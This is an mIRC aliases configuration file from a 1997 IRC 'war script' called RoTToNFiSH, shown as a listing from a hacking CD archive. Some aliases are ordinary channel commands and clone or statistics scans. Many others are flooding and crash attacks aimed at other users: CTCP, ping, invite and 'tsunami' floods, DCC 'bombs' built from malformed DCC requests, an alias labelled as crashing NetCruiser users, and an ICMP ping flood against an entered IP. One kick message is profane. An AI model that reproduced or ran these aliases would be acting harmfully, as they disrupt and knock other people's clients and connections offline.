home *** CD-ROM | disk | FTP | other *** search
/ SuperHack / SuperHack CD.bin / SCRIPTZ / FISH.ZIP / aliases.ini next >
INI File  |  1997-02-14  |  13KB  |  255 lines
  1. [Aliases]
  2. n0=/f1 /enable #textflood | /enable #nick | /enable #notice | /enable #dcctext | /enable #invite | /enable #msg | /enable #actionflood | /enable #msgflud | /enable #inviteflud | /enable #dcc | /enable #ctcp | /enable #dccwall | /enable #dcclist | /enable #dccprot | /enable #advertising  | /enable #crk
  3. n1=/f1 /disable #textflood | /disable #nick | /disable #notice | /disable #dcctext | /disable #invite | /disable #msg | /disable #actionflood | /disable #msgflud | /disable #inviteflud | /disable #dcc | /disable #ctcp | /disable #dccwall | /disable #dcclist | /disable #dccprot | /disable #advertising  | /enable #crk
  4. n2=/op /mode # +ooo $$1 $2 $3
  5. n3=/dop /mode # -ooo $$1 $2 $3
  6. n4=/j /join #$$1
  7. n5=/p /part #
  8. n6=/n /names #$$1
  9. n7=/w /whois $$1
  10. n8=/k /kick # $$1
  11. n9=/q /query $$1
  12. n10=/hop /part # | /join #$$1
  13. n11=/send /dcc send $1 $2
  14. n12=/chat /dcc chat $1
  15. n13=/ping /ctcp $$1 ping
  16. n14=/aop /guser 50 $$1 3 | /notice $$1 Welcome  To My AutoOp List. ░òRoTToNFiSHÅ░
  17. n15=/avoice /guser 25 $$1 3 | /notice $$1 Welcome To My AutoVoice List. ░òRoTToNFiSHÅ░
  18. n16=/prot100 /guser 100 $$1 3 | /auser 100 $$1 | /notice $$1 Welcome To My Protection List At Level 100. ░òRoTToNFiSHÅ░
  19. n17=/prot150 /guser 150 $$1 3 | /auser 150 $$1 | /notice $$1 Welcome To My Protection List At Level 150. ░òRoTToNFiSHÅ░
  20. n18=/rmv /ruser $$1 3 | /ruser $$1 | /notice $$1 I  Removed From My Protection List.  GET OVER IT!! ░òRoTToNFiSHÅ░
  21. n19=/opban /guser 4 $$1 3 | /auser 4 $$1 | /mode # -o $$1 | /notice $$1 You're On The OpBan List. ░òRoTToNFiSHÅ░
  22. n20=/opunban /ruser $$1 3 | /ruser $$1 | /notice $$1 You Have Been Taken Off The OpBan List. ░òRoTToNFiSHÅ░
  23. n21=/shit /guser 2 $$1 3 | /mode # -o $$1 | /ban # $$1 3 | /ignore $$1 3 | /kick # $$1 You are Shitlisted MotherFucker ░òRoTToNFiSHÅ░
  24. n22=/rshit /ruser $$1 3
  25. n23=/sayflood /say *1 | /say *1 | /say *1 | /say *1 | /say *1 | /say *1 | /say *1 | /say *1 | /say *1 | /say *1 | /say *1 | /say *1 | /say *1 | /say *1
  26. n24=flooduser /.timer107 off | /.guser 90 $1 3 | /.timer107 1 100 /.ruser 90 $1
  27. n25=/clone
  28. n26=clone {
  29. n27=  set %numclones 0 | set %num $nick(0,#) | set %start $ctime
  30. n28=  echo -a 13<12=4[2Clone detection14 initiated on 1,8 #  14 - Scanning 4 %num
  31. n29=  14 Users 4]12=13>
  32. n30=  :next
  33. n31=  set %site $address($nick(%num,#),2)
  34. n32=  if (%clone. [ $+ [ %site ] ] == $null) { set %clone. [ $+ [ %site ] ] ñ8,1 $+ $nick(%num,#) $+ ñ
  35. n33=  }
  36. n34=  else {
  37. n35=    set %clone. [ $+ [ %site ] ]  %clone. [  $+ [ %site ] ] ñ8,1 $+ $nick(%num,#) $+ ñ
  38. n36=    if (%clonenick == $null) {
  39. n37=      set %clonenick %site
  40. n38=      inc %numclones 1
  41. n39=    }
  42. n40=    elseif (%site  !isin %clonenick) {
  43. n41=      set %clonenick %clonenick %site
  44. n42=      inc %numclones 1
  45. n43=    }
  46. n44=  }
  47. n45=  dec %num
  48. n46=  if (%num > 0) goto next
  49. n47=  set %end $ctime
  50. n48=  if (%clonenick != $null) {
  51. n49=    :displaynext
  52. n50=    echo 4 -a 13 Clones >>> %clone. [ $+ [ $gettok(%clonenick,%numclones,32) ]  ] 2 at
  53. n51=    14 $gettok(%clonenick,%numclones,32) 
  54. n52=    dec %numclones
  55. n53=    if (%numclones > 0) goto displaynext
  56. n54=  }
  57. n55=  else echo -a 14>>>>> 2No Clones 14Found on 1,8 #  14>>>>>
  58. n56=  %end = %end - %start
  59. n57=  echo -a 13<12=4[2Clone scan 14 completed on 1,8 #  14 in 4 $duration(%end)
  60. n58=  4]12=13>
  61. n59=  unset %num %clone.* %clonenick %numclones %start %end %site
  62. n60=}
  63. n61=chatbomb .timer 10 2 raw -q privmsg $1 :DCC CHAT $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!r(1,9) $!+ $!r(1,9) $!r(1,9) $!+ $!r(1,9) $!+ DCC CHAT $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!r(1,9) $!+ $!r(1,9) $!r(1,9) $!+ $!r(1,9) $!+ DCC CHAT $r(1000,9999) $(10,99) $r(10,99)DCC CHAT $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!r(1,9) $!+ $!r(1,9) $!r(1,9) $!+ $!r(1,9) $!+ DCC CHAT $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!r(1,9) $!+ $!r(1,9) $!r(1,9) $!+ $!r(1,9) $!+ 
  64. n62=inviteflood {
  65. n63=  timer 10 2 ri $1
  66. n64=  timer 10 2 ri $1
  67. n65=}
  68. n66=ri invite $1 #$r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z)
  69. n67=cflood {
  70. n68=  ignore -u120 $$1 2
  71. n69=  echo 4 %p CTCP Flooding $$1.  Ignoring for 2 minutes.
  72. n70=  timer2 10 1 CTCP $$1 PING
  73. n71=  timer3 10 1 CTCP $$1 USERINFO
  74. n72=  timer4 10 1 CTCP $$1 CLIENTINFO
  75. n73=  timer5 10 1 CTCP $$1 VERSION
  76. n74=  timer6 10 1 CTCP $$1 FINGER
  77. n75=  timer7 10 1 CTCP $$1 TIME
  78. n76=}
  79. n77=qflood {
  80. n78=  ignore -u120 $$1 2
  81. n79=  echo 4 %p Query Annoying $$1.  Ignoring for 2 min.
  82. n80=  timer21 10 5 raw -q privmsg $1 : $+ %txt
  83. n81=}
  84. n82=qfloodoff echo 4 %p Halted Query Annoy. | timer21 off
  85. n83=tsu {
  86. n84=  echo 4 %p Sending $$1 a Tsunami Flood...
  87. n85=  timer724 8 5 raw -q privmsg $$1 : %tsu
  88. n86=  timer725 8 5 raw -q notice $$1 : %tsu
  89. n87=  timer726 8 5 raw -q privmsg $$1 : $+ %tsu
  90. n88=  timer727 8 5 raw -q privmsg $$1 :DCC SEND %tsu
  91. n89=}
  92. n90=tsuoff timer724 off | timer725 off | timer726 off | timer727 off
  93. n91=pflood {
  94. n92=  ignore -u120 $$1 2 
  95. n93=  echo 4 %p Ping Flooding $$1.  Ignoring for 2 min.
  96. n94=  timer 10 1 CTCP $$1 PING
  97. n95=  timer 10 1 CTCP $$1 PING
  98. n96=  timer 10 1 CTCP $$1 PING
  99. n97=  timer 10 1 CTCP $$1 PING
  100. n98=  timer 10 1 CTCP $$1 PING
  101. n99=  timer 10 1 CTCP $$1 PING
  102. n100=}
  103. n101=vflood {
  104. n102=  ignore -u120 $$1 2
  105. n103=  echo 4 %p Version Flooding $$1.  Ignoring for 2 min.
  106. n104=  timer 10 1 CTCP $$1 VERSION
  107. n105=  timer 10 1 CTCP $$1 VERSION
  108. n106=  timer 10 1 CTCP $$1 VERSION
  109. n107=  timer 10 1 CTCP $$1 VERSION
  110. n108=  timer 10 1 CTCP $$1 VERSION
  111. n109=  timer 10 1 CTCP $$1 VERSION
  112. n110=}
  113. n111=dccbomb { 
  114. n112=  timer 5 4 raw -q privmsg $1 :DCC SEND $r(1,9) $+ $r(1,9) $+ $r(1,9) $+ $r(1,9) $+ tORnfLESh $+ $r(1,9) $+ $r(1,9) $+ $r(1,9) $+ $r(1,9)  3353362454 19 ? 
  115. n113=  timer 5 4 raw -q privmsg $1 :DCC SEND %tsu $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) 
  116. n114=  timer 5 4 raw -q privmsg $1 :DCC Pure.Destiny 666 19 ? 
  117. n115=  timer 5 4 raw -q privmsg $1 :DCC CHAT $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!r(1,9) $!+ $!r(1,9) $!r(1,9) $!+ $!r(1,9) $!+ DCC CHAT $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9)
  118. n116=}
  119. n117=nf timer34 30 1 change
  120. n118=change nick $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z)
  121. n119=nfoff .timer34 off
  122. n120=nckill {
  123. n121=  raw -q privmsg $$1 %nckill
  124. n122=  echo 5 %p Crashing NetCruiser User (*netcom*)
  125. n123=  echo 5 %p $$1 should Ping Timeout in about 2 min.
  126. n124=}
  127. n125=icmp run ping.exe -l $$?="PING Packet Size:" -t $$?="Enter IP to send ICMP flood to:" | echo 4 %p ICMP Flooding: ò $! ò
  128. n126=/Stats {
  129. n127=  set %statnickcheck on
  130. n128=  write -c g:\scripts\rottonfish\servers.txt
  131. n129=  write -c g:\scripts\rottonfish\stats.txt
  132. n130=  set %servno 1
  133. n131=  :servstart
  134. n132=  if %servtype [ $+ [ %servno ] ] != $null { 
  135. n133=    set %servtype [ $+ [ %servno ] ] 
  136. n134=    set %servnum [ $+ [ %servno ] ] 
  137. n135=    inc %servno 1
  138. n136=    goto servstart
  139. n137=  }
  140. n138=  else { 
  141. n139=    unset %10op
  142. n140=    unset %10nop
  143. n141=    unset %10away
  144. n142=    unset %10here
  145. n143=    unset %10vnick
  146. n144=    set %pops 0
  147. n145=    set %pnops 0 
  148. n146=    set %paway 0
  149. n147=    set %phere 0
  150. n148=    set %pvnick 0 
  151. n149=    unset %stataddress
  152. n150=    unset %server
  153. n151=    unset %qservernum
  154. n152=    unset %nickletter
  155. n153=    set %statletter 0
  156. n154=    set %anicks 0
  157. n155=    set %hnicks 0
  158. n156=    set %vnicks 0
  159. n157=    set %ircnicks 0
  160. n158=    set %servnum 0
  161. n159=    set %statnick 1
  162. n160=    set %statnickdone 0
  163. n161=    set %statclones 0
  164. n162=    set %hops 0 
  165. n163=    set %avehops 0
  166. n164=    set %myserver $server
  167. n165=    set %nickletter $rand(a,z)
  168. n166=    set %totnick $nick(0,%schan)
  169. n167=    ;set %stattime 0 | timer101 0 1 inc %stattime 1 
  170. n168=    :start
  171. n169=    if %statnick > %totnick halt
  172. n170=    else who $nick(%statnick,%schan)
  173. n171=    inc %statnick 1
  174. n172=    goto start
  175. n173=  }
  176. n174=}
  177. n175=/percent {
  178. n176=  %10op = [ $opnick(0,%schan) ] * 100
  179. n177=  %10nop = [ $nopnick(0,%schan) ] * 100
  180. n178=  %10away = [ %anicks ] * 100
  181. n179=  %10here = [ %hnicks ] * 100
  182. n180=  %10vnick = [ %vnicks ] * 100
  183. n181=  %10ircnick = [ %ircnicks ] * 100
  184. n182=  %pops = [ %10op ] / $nick(0,%schan)
  185. n183=  %pnops = [ %10nop ] / $nick(0,%schan)
  186. n184=  %paway = [ %10away ] / $nick(0,%schan)
  187. n185=  %phere = [ %10here ] / $nick(0,%schan)
  188. n186=  %pvnick = [ %10vnick ] / $nick(0,%schan)
  189. n187=  %pircop = [ %10ircnick ] / $nick(0,%schan)
  190. n188=  %avehops =  [ %hops ] / $nick(0,%schan)
  191. n189=  %ratio = $nopnick(0,%schan) / $opnick(0,%schan) 
  192. n190=  set %servno 1 
  193. n191=  :servmsgst
  194. n192=  if %servnum [ $+ [ %servno ] ] != $null {
  195. n193=    set %100serv %servnum [ $+ [ %servno ] ] * 100
  196. n194=    set %servperc [ %100serv ] / $nick(0,%schan)
  197. n195=    unset %writestats
  198. n196=    if %servtype [ $+ [ %servno ] ] = %myserver { 
  199. n197=      write g:\scripts\rottonfish\servers.txt Server %servno $+ ) %servnum [ $+ [ %servno ] ] ppl on $token(1,46, %servtype [ $+ [ %servno ] ] ) $+ * ( $+ %servperc $+ [ % ] usage)
  200. n198=    } 
  201. n199=    if %servtype [ $+ [ %servno ] ] != %myserver {
  202. n200=      write g:\scripts\rottonfish\servers.txt Server %servno $+ ) %servnum [ $+ [ %servno ] ] ppl on $token(1,46, %servtype [ $+ [ %servno ] ] ) ( $+ %servperc $+ [ % ] usage)
  203. n201=    }
  204. n202=    :nextserv
  205. n203=    inc %servno 1
  206. n204=    goto servmsgst
  207. n205=  }
  208. n206=  if %nickstats = on {
  209. n207=    write g:\scripts\rottonfish\stats.txt %schan statistix...
  210. n208=    write g:\scripts\rottonfish\stats.txt Tot ------ <ò> [ $nick(0,%schan) ]  
  211. n209=    write g:\scripts\rottonfish\stats.txt Ops ------ <ò> [ $opnick(0,%schan) ] ( $+ %pops $+ [ % ] $+ ) 
  212. n210=    write g:\scripts\rottonfish\stats.txt Non-ops -- <ò> [ $nopnick(0,%schan) ] ( $+ %pnops $+ [ % ] $+ )
  213. n211=    write g:\scripts\rottonfish\stats.txt IRC ops -- <ò> %ircnicks ( $+ %pircop $+ [ % ] $+ ) 
  214. n212=    write g:\scripts\rottonfish\stats.txt Op:Non-Op Ratio <ò> 1: $+ %ratio
  215. n213=    write g:\scripts\rottonfish\stats.txt Here ----- <ò> %hnicks ( $+ %phere $+ [ % ] $+ ) 
  216. n214=    write g:\scripts\rottonfish\stats.txt Away ----- <ò> %anicks ( $+ %paway $+ [ % ] $+ ) 
  217. n215=    write g:\scripts\rottonfish\stats.txt Voiced --- <ò> %vnicks ( $+ %pvnick $+ [ % ] $+ )
  218. n216=    write g:\scripts\rottonfish\stats.txt Ave Hops - <ò> %avehops 
  219. n217=    write g:\scripts\rottonfish\stats.txt Clones --- <ò> %statclones 
  220. n218=    write g:\scripts\rottonfish\stats.txt Servers -- <ò> [ $lines(g:\scripts\rottonfish\stats.txt) ]
  221. n219=    ;Time to compile <ò> %stattime seconds
  222. n220=    write g:\scripts\rottonfish\stats.txt Ppl with an ' %nickletter ' in their nick <ò> %statletter 
  223. n221=    play %schan c:\stats.txt 2000
  224. n222=  }
  225. n223=  if %servmsg = on { 
  226. n224=    msg %schan There are $lines(g:\scripts\rottonfish\servers.txt) servers in use on %schan (* denotes my own)
  227. n225=    play %schan g:\scripts\rottonfish\servers.txt 2000
  228. n226=  }
  229. n227=}
  230. n228=colr if (*2 != $null) { return $chr(3) $+ $1 $+ *2 $+ $chr(3) }
  231. n229=Repk {
  232. n230=  if (%pars == %repter) { ban -u10 $chan $nick 3 |  kick $chan $nick ░òRoTToNFiSHÅ░ Dont Repeat! We Heard you the first time ! $colr(12,(10 seconds ban)) ░òRoTToNFiSHÅ░
  233. n231=    else { writeini $mircdir $+ rep.ini %chnm $address($nick,3) %pars | %cr }
  234. n232=  }
  235. n233=  Ck1 {
  236. n234=    %caps = 0 | %capspa = 0 
  237. n235=    %capsrm = $remove($remove($remove($remove($remove($remove($remove($remove($remove($remove($remove($remove($remove($remove($remove($parms,!),@),%),$),^),&),$chr(35)),$chr(63)),$chr(41)),$chr(40)),$chr(32)),=),-,),_),+)
  238. n236=    :start
  239. n237=    inc %capspa
  240. n238=    if (%capspa == $len(%capsrm)) { goto end }
  241. n239=    elseif ($asc($mid(%capspa,1,%capsrm)) isnum 65-90) { inc %caps 1 | goto start }
  242. n240=    else { goto start }
  243. n241=    :end
  244. n242=    %capsnum = $len(%capsrm)  
  245. n243=    %capsaltot = %caps * 100 | %capstot = [ %capsaltot / %capsnum ]
  246. n244=    if (($len(%capsrm) > %maxletters) && (%capstot >= %maxpercent)) { 
  247. n245=      if ($me isop $chan) {
  248. n246=        %capsin = [ %capstot - %maxpercent ]
  249. n247=        %capskl = ( $+ %capstot $+ % Caps used, Which iS %capsin $+ % More Then You are Alowed.)
  250. n248=      kick $chan $nick ░òRoTToNFiSHÅ░ Caps aRe Wayyy Lame. . . $colr(12,%capskl) ░òRoTToNFiSHÅ░ }
  251. n249=      else { notice $nick Stop Shouting !!! Caps are SO lame ! ( $+ %capstot $+ % Caps used.) } 
  252. n250=    }
  253. n251=    unset %caps*
  254. n252=  }
  255.